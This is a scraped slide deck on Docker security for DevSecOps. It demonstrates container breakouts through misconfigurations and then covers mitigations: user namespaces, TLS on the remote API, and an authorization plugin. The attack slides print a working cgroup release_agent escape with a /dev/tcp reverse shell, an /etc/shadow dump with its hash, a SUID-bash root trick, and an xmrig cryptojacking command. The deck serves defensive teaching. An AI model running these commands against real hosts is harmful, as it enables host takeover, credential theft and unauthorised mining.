Download as PDF, PPTX
![บจก.สยามถนัดแฮก
Responsible / Version: Mr. Peeranat Thantaletong / 1.0 (2020-01-25)
Confidentiality class: Public
Misconfig 1: Running Container with --privileged
$ docker run -it --privileged -v /usr/bin/nc:/usr/bin/nc ubuntu bash
root@18ea7c42f8f2:/# mkdir /tmp/cgrp
root@18ea7c42f8f2:/# mount -t cgroup -o rdma cgroup /tmp/cgrp
root@18ea7c42f8f2:/# mkdir /tmp/cgrp/x
root@18ea7c42f8f2:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@18ea7c42f8f2:/# host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`
root@18ea7c42f8f2:/# echo "$host_path/shell.sh" > /tmp/cgrp/release_agent
root@18ea7c42f8f2:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/0ddbdfdf4086bbb587e71efed95df8583f8b90aee419fd
c5d346156f8d08cc6c/diff/shell.sh
11](https://image.slidesharecdn.com/sthdockerpluginfordevsecops-200614114507/85/Docker-Plugin-For-DevSecOps-11-320.jpg)
![บจก.สยามถนัดแฮก
Responsible / Version: Mr. Peeranat Thantaletong / 1.0 (2020-01-25)
Confidentiality class: Public
Misconfig 1: Running Container with --privileged
root@18ea7c42f8f2:/# sleep 2 && sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" &
root@18ea7c42f8f2:/# nc -lvp 9999
listening on [any] 9999 ...
172.17.0.1: inverse host lookup failed: Unknown host
connect to [172.17.0.2] from (UNKNOWN) [172.17.0.1] 33652
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@parrot:/#
13](https://image.slidesharecdn.com/sthdockerpluginfordevsecops-200614114507/85/Docker-Plugin-For-DevSecOps-13-320.jpg)
![บจก.สยามถนัดแฮก
Responsible / Version: Mr. Peeranat Thantaletong / 1.0 (2020-01-25)
Confidentiality class: Public
Misconfig 3: Mount Sensitive Volumes #1
dev01@parrot:~$ docker run -it -v /:/mnt/host --rm alpine sh
/ # cat /mnt/host/etc/shadow
root:$6$jvHBn8UTWequ.Rn5$TxgN48QEo7FEWgSvmgrmrXeTMULpmc6EOxSv
h4pliCVwg4Vmd3ODpAz.ICbSz6L3P7RK0lDUP.IVSRckRU9Ss.:18040:0:99999:7
:::
daemon:*:18011:0:99999:7:::
bin:*:18011:0:99999:7:::
[...]
15](https://image.slidesharecdn.com/sthdockerpluginfordevsecops-200614114507/85/Docker-Plugin-For-DevSecOps-15-320.jpg)
![บจก.สยามถนัดแฮก
Responsible / Version: Mr. Peeranat Thantaletong / 1.0 (2020-01-25)
Confidentiality class: Public
Misconfig 4: Mount Sensitive Volumes #2
dev01@parrot:~$ docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock
-v /usr/bin/docker:/usr/bin/docker ubuntu bash
root@18ea7c42f8f2:/# docker run -it --privileged -v /usr/bin/nc:/usr/bin/nc
ubuntu bash
root@9121d1d3663f:/# mkdir /tmp/cgrp
root@9121d1d3663f:/# mount -t cgroup -o rdma cgroup /tmp/cgrp
root@9121d1d3663f:/# mkdir /tmp/cgrp/x
root@9121d1d3663f:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@9121d1d3663f:/# host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`
root@9121d1d3663f:/# echo "$host_path/shell.sh" > /tmp/cgrp/release_agent
17](https://image.slidesharecdn.com/sthdockerpluginfordevsecops-200614114507/85/Docker-Plugin-For-DevSecOps-17-320.jpg)
![บจก.สยามถนัดแฮก
Responsible / Version: Mr. Peeranat Thantaletong / 1.0 (2020-01-25)
Confidentiality class: Public
Misconfig 4: Mount Sensitive Volumes #2
root@9121d1d3663f:/# echo '#!/bin/sh' > /shell.sh
root@9121d1d3663f:/# echo '/bin/bash -c "/bin/bash -i >&
/dev/tcp/172.17.0.2/9999 0>&1"' >> /shell.sh
root@9121d1d3663f:/# chmod a+x /shell.sh
root@9121d1d3663f:/# sleep 2 && sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" &
root@9121d1d3663f:/# nc -lvp 9999
listening on [any] 9999 ...
root@parrot:/#
18](https://image.slidesharecdn.com/sthdockerpluginfordevsecops-200614114507/85/Docker-Plugin-For-DevSecOps-18-320.jpg)
![บจก.สยามถนัดแฮก
Responsible / Version: Mr. Peeranat Thantaletong / 1.0 (2020-01-25)
Confidentiality class: Public
Misconfig 5: Docker Remote API Exposure
Enable the remote API for dockerd
$ cat /lib/systemd/system/docker.service
[...]
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H fd://
--containerd=/run/containerd/containerd.sock
[...]
$ systemctl daemon-reload
$ service docker restart
19](https://image.slidesharecdn.com/sthdockerpluginfordevsecops-200614114507/85/Docker-Plugin-For-DevSecOps-19-320.jpg)
![บจก.สยามถนัดแฮก
Responsible / Version: Mr. Peeranat Thantaletong / 1.0 (2020-01-25)
Confidentiality class: Public
Enable User Namespaces
$ cat /etc/docker/daemon.json
{
"userns-remap": "temp-ns:temp-ns"
}
$ systemctl daemon-reload
$ systemctl restart docker
$ docker info
[...]
Security Options:
userns
Linux User Namespace
29](https://image.slidesharecdn.com/sthdockerpluginfordevsecops-200614114507/85/Docker-Plugin-For-DevSecOps-29-320.jpg)
![บจก.สยามถนัดแฮก
Responsible / Version: Mr. Peeranat Thantaletong / 1.0 (2020-01-25)
Confidentiality class: Public
$ ./docker-no-trivial-root &
[1] 11552
$ ls -al /run/docker/plugins/
total 0
drwx------ 2 root root 60 Jan 24 05:13 .
drwx------ 8 root root 180 Jan 23 09:58 ..
srw-rw---- 1 root root 0 Jan 24 05:13 no-trivial-root.sock
Docker Authorization Plugin
43](https://image.slidesharecdn.com/sthdockerpluginfordevsecops-200614114507/85/Docker-Plugin-For-DevSecOps-43-320.jpg)
![บจก.สยามถนัดแฮก
Responsible / Version: Mr. Peeranat Thantaletong / 1.0 (2020-01-25)
Confidentiality class: Public
$ cat /etc/docker/daemon.json
{
"authorization-plugins": ["no-trivial-root"]
}
$ systemctl daemon-reload
$ systemctl restart docker
Docker Authorization Plugin
44
$ docker info
[...]
Plugins:
Volume: local
Network: bridge host ipvlan macvlan null overlay
Authorization: no-trivial-root](https://image.slidesharecdn.com/sthdockerpluginfordevsecops-200614114507/85/Docker-Plugin-For-DevSecOps-44-320.jpg)
Docker Plugin For DevSecOps
- 1. บจก.สยามถนัดแฮก Responsible: Mr. PeeranatThantaletong Version (Date): 1.0 (2020-01-25) Confidentiality class: Public Docker Plugin for DevSecOps
- 2. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public $ whoami Mr. Peeranat Thantaletong (Por) Penetration Tester Siam Thanat Hack Company Limited - Offensive Security Certified Professional (OSCP) - CompTIA PenTest+ บจก.สยามถนัดแฮก 2
- 3. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Agenda - Docker in DevSecOps - Container Breakout - Software Vulnerabilities - Security Misconfigurations - Linux User Namespace - Low-privileged Container - Docker Authorization Plugin 3
- 4. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public DevSecOps 4 Image source: https://medium.com/@krissconnect/%E0%B8%A1%E0%B8%B2%E0%B8%97%E0%B8%B3-devsecops-%E0%B8%81%E0%B8%B1%E0%B8%9 9%E0%B9%80%E0%B8%96%E0%B8%AD%E0%B8%B0-63dfe3ed11fb
- 5. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public DevSecOps Tools 5
- 6. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Docker 6Image source: https://www.docker.com/blog/docker-101-introduction-docker-webinar-recap/
- 7. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Container Breakout RunC Container Escape Vulnerability (CVE-2019-5736) ? 7Image source: https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/
- 8. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Container Breakout 8
- 9. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Escape Container via Security Misconfigurations 9
- 10. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Misconfig 1: Running Container with --privileged $ docker run --rm -it --privileged ubuntu bash --privileged flag: When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. 10
- 11. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Misconfig 1: Running Container with --privileged $ docker run -it --privileged -v /usr/bin/nc:/usr/bin/nc ubuntu bash root@18ea7c42f8f2:/# mkdir /tmp/cgrp root@18ea7c42f8f2:/# mount -t cgroup -o rdma cgroup /tmp/cgrp root@18ea7c42f8f2:/# mkdir /tmp/cgrp/x root@18ea7c42f8f2:/# echo 1 > /tmp/cgrp/x/notify_on_release root@18ea7c42f8f2:/# host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab` root@18ea7c42f8f2:/# echo "$host_path/shell.sh" > /tmp/cgrp/release_agent root@18ea7c42f8f2:/# cat /tmp/cgrp/release_agent /var/lib/docker/overlay2/0ddbdfdf4086bbb587e71efed95df8583f8b90aee419fd c5d346156f8d08cc6c/diff/shell.sh 11
- 12. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Misconfig 1: Running Container with --privileged root@18ea7c42f8f2:/# echo '#!/bin/sh' > /shell.sh root@18ea7c42f8f2:/# echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/172.17.0.2/9999 0>&1"' >> /shell.sh root@18ea7c42f8f2:/# chmod a+x /shell.sh $ cat /var/lib/docker/overlay2/0ddbdfdf4086bbb587e71efed95df8583f8b90aee419fd c5d346156f8d08cc6c/diff/shell.sh #!/bin/sh /bin/bash -c "/bin/bash -i >& /dev/tcp/172.17.0.2/9999 0>&1" 12
- 13. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Misconfig 1: Running Container with --privileged root@18ea7c42f8f2:/# sleep 2 && sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" & root@18ea7c42f8f2:/# nc -lvp 9999 listening on [any] 9999 ... 172.17.0.1: inverse host lookup failed: Unknown host connect to [172.17.0.2] from (UNKNOWN) [172.17.0.1] 33652 bash: cannot set terminal process group (-1): Inappropriate ioctl for device bash: no job control in this shell root@parrot:/# 13
- 14. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Misconfig 2: Excessive Capabilities $ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash The --cap-add=SYS_ADMIN flag allows a container to perform the mount syscall. Use the --security-opt apparmor=unconfined flag to start a container without an AppArmor profile. *Docker starts containers with the docker-default AppArmor policy by default, which prevents the use of the mount syscall even when the container is run with SYS_ADMIN. 14
- 15. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Misconfig 3: Mount Sensitive Volumes #1 dev01@parrot:~$ docker run -it -v /:/mnt/host --rm alpine sh / # cat /mnt/host/etc/shadow root:$6$jvHBn8UTWequ.Rn5$TxgN48QEo7FEWgSvmgrmrXeTMULpmc6EOxSv h4pliCVwg4Vmd3ODpAz.ICbSz6L3P7RK0lDUP.IVSRckRU9Ss.:18040:0:99999:7 ::: daemon:*:18011:0:99999:7::: bin:*:18011:0:99999:7::: [...] 15
- 16. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Misconfig 3: Mount Sensitive Volumes #1 dev01@parrot:~$ docker run -it -v /:/mnt/host --rm alpine sh / # cp /mnt/host/bin/bash /mnt/host/tmp/bashsuid / # chmod a+sx /mnt/host/tmp/bashsuid / # exit dev01@parrot:~$ /tmp/bashsuid -p bashsuid-5.0# id uid=1002(dev01) gid=1002(dev01) euid=0(root) egid=0(root) groups=0(root),997(docker),1002(dev01) 16
- 17. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Misconfig 4: Mount Sensitive Volumes #2 dev01@parrot:~$ docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock -v /usr/bin/docker:/usr/bin/docker ubuntu bash root@18ea7c42f8f2:/# docker run -it --privileged -v /usr/bin/nc:/usr/bin/nc ubuntu bash root@9121d1d3663f:/# mkdir /tmp/cgrp root@9121d1d3663f:/# mount -t cgroup -o rdma cgroup /tmp/cgrp root@9121d1d3663f:/# mkdir /tmp/cgrp/x root@9121d1d3663f:/# echo 1 > /tmp/cgrp/x/notify_on_release root@9121d1d3663f:/# host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab` root@9121d1d3663f:/# echo "$host_path/shell.sh" > /tmp/cgrp/release_agent 17
- 18. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Misconfig 4: Mount Sensitive Volumes #2 root@9121d1d3663f:/# echo '#!/bin/sh' > /shell.sh root@9121d1d3663f:/# echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/172.17.0.2/9999 0>&1"' >> /shell.sh root@9121d1d3663f:/# chmod a+x /shell.sh root@9121d1d3663f:/# sleep 2 && sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" & root@9121d1d3663f:/# nc -lvp 9999 listening on [any] 9999 ... root@parrot:/# 18
- 19. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Misconfig 5: Docker Remote API Exposure Enable the remote API for dockerd $ cat /lib/systemd/system/docker.service [...] ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H fd:// --containerd=/run/containerd/containerd.sock [...] $ systemctl daemon-reload $ service docker restart 19
- 20. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Misconfig 5: Docker Remote API Exposure $ docker -H 192.168.1.2:2375 run xmrig/xmrig -o xmr.crypto-pool.fr:443 -u 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URn RoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD -p x --donate-level=1 20 Image source: https://cyware.com/news/monero-site-hack-how-hackers-distributed-cryptocurrency-stealing-malware-e3366e2b
- 21. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Misconfig 5: Docker Remote API Exposure Image source: https://www.alibabacloud.com/blog/xulu-cryptojacking-leveraging-shodan-tor-and-malicious-docker-container_594869 21
- 22. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Misconfig 5: Docker Remote API Exposure 22
- 23. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Misconfig 5: Docker Remote API Exposure Authentication with TLS Client Certificate $ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=$HOST:2376 version 23Image source: https://dker.ru/docs/component-projects/docker-swarm/overview-docker-swarm-with-tls/
- 24. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Low-Privileged Container (host’s root !== container’s root) 24
- 25. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Low-Privileged Container 25Image source: https://medium.com/@tonistiigi/experimenting-with-rootless-docker-416c9ad8c0d6
- 26. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Low-Privileged Container 26Image source: https://medium.com/@tonistiigi/experimenting-with-rootless-docker-416c9ad8c0d6
- 27. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Enable User Namespaces $ useradd -u 200000 temp-ns-root $ groupmod -g 200000 temp-ns-root $ useradd temp-ns $ cat /etc/passwd | grep temp temp-ns-root:x:200000:200000::/home/temp-ns-root:/bin/sh temp-ns:x:1001:1001::/home/temp-ns:/bin/sh Linux User Namespace 27 https://docs.docker.com/engine/security/userns-remap/
- 28. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Enable User Namespaces $ cat /etc/subuid temp-ns:200000:65536 $ cat /etc/subgid temp-ns:200000:65536 Linux User Namespace 28
- 29. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Enable User Namespaces $ cat /etc/docker/daemon.json { "userns-remap": "temp-ns:temp-ns" } $ systemctl daemon-reload $ systemctl restart docker $ docker info [...] Security Options: userns Linux User Namespace 29
- 30. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public $ docker run -it -v /:/mnt/host --rm alpine sh / # cat /proc/self/uid_map 0 200000 65536 / # cat /proc/self/gid_map 0 200000 65536 / # cat /mnt/host/etc/shadow cat: can't open '/mnt/host/etc/shadow': Permission denied / # touch /mnt/host/tmp/remapped / # exit $ ls -la /tmp/remapped -rw-r--r-- 1 temp-ns-root temp-ns-root 0 Jan 23 08:42 /tmp/remapped Linux User Namespace 30
- 31. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public $ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined -v /usr/bin/nc:/usr/bin/nc ubuntu bash root@d34335b93113:/# mkdir /tmp/cgrp root@d34335b93113:/# mount -t cgroup -o rdma cgroup /tmp/cgrp mount: /tmp/cgrp: permission denied. Linux User Namespace 31
- 32. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public $ docker run -it --userns=host -v /:/mnt/host --rm alpine sh / # touch /mnt/host/tmp/remapped / # exit $ ls -la /tmp/remapped -rw-r--r-- 1 root root 0 Jan 23 08:53 /tmp/remapped Linux User Namespace 32
- 33. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Linux User Namespace 33 https://github.com/moby/moby/issues/22223
- 34. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Linux User Namespace 34 https://github.com/moby/moby/issues/22223
- 35. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public In short, an OS process/service that extends capabilities of Docker Engine. 1. Authorization - Extend API authorization mechanism 2. Network - Extend network management - VXLAN, IPVLAN, MACVLAN, ... 3. Volume - Extend persistent storage - Amazon EBS, ... 4. IPAM - Extend IP address management - DNS, DHCP, ... 5. Graph - Extend image and container fs storage Docker Plugin - What is it? 35
- 36. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Register Docker plugin by putting itself in a plugin directory: 1. Unix Domain Socket - /run/docker/plugins/demo.sock 2. URL - /etc/docker/plugins/demo.spec - unix:///other.sock - tcp://localhost:8080 3. JSON Specification - /etc/docker/plugins/demo.json Docker Plugin API 36
- 37. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Docker Plugin - Volume plugin for Amazon EBS https://docs.docker.com/engine/extend/EBS_volume/ 37
- 38. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Docker Authorization Model (1 - Default) 38
- 39. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Docker Authorization Model (2 - with AuthZ Plugin) 39 Image source: https://docs.docker.com/engine/extend/pluginsut_ahorization/
- 40. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Example with docker-no-trivial-root Plugin 40 https://github.com/ad-freiburg/docker-no-trivial-root Disabling some trivial ways of gaining root via Docker
- 41. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Just A Quick Look At The Code 41https://github.com/ad-freiburg/docker-no-trivial-root
- 42. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public Just A Quick Look At The Code 42https://github.com/ad-freiburg/docker-no-trivial-root
- 43. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public $ ./docker-no-trivial-root & [1] 11552 $ ls -al /run/docker/plugins/ total 0 drwx------ 2 root root 60 Jan 24 05:13 . drwx------ 8 root root 180 Jan 23 09:58 .. srw-rw---- 1 root root 0 Jan 24 05:13 no-trivial-root.sock Docker Authorization Plugin 43
- 44. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public $ cat /etc/docker/daemon.json { "authorization-plugins": ["no-trivial-root"] } $ systemctl daemon-reload $ systemctl restart docker Docker Authorization Plugin 44 $ docker info [...] Plugins: Volume: local Network: bridge host ipvlan macvlan null overlay Authorization: no-trivial-root
- 45. บจก.สยามถนัดแฮก Responsible / Version:Mr. Peeranat Thantaletong / 1.0 (2020-01-25) Confidentiality class: Public 45 Any Question ? Contact us: pentest@sth.sh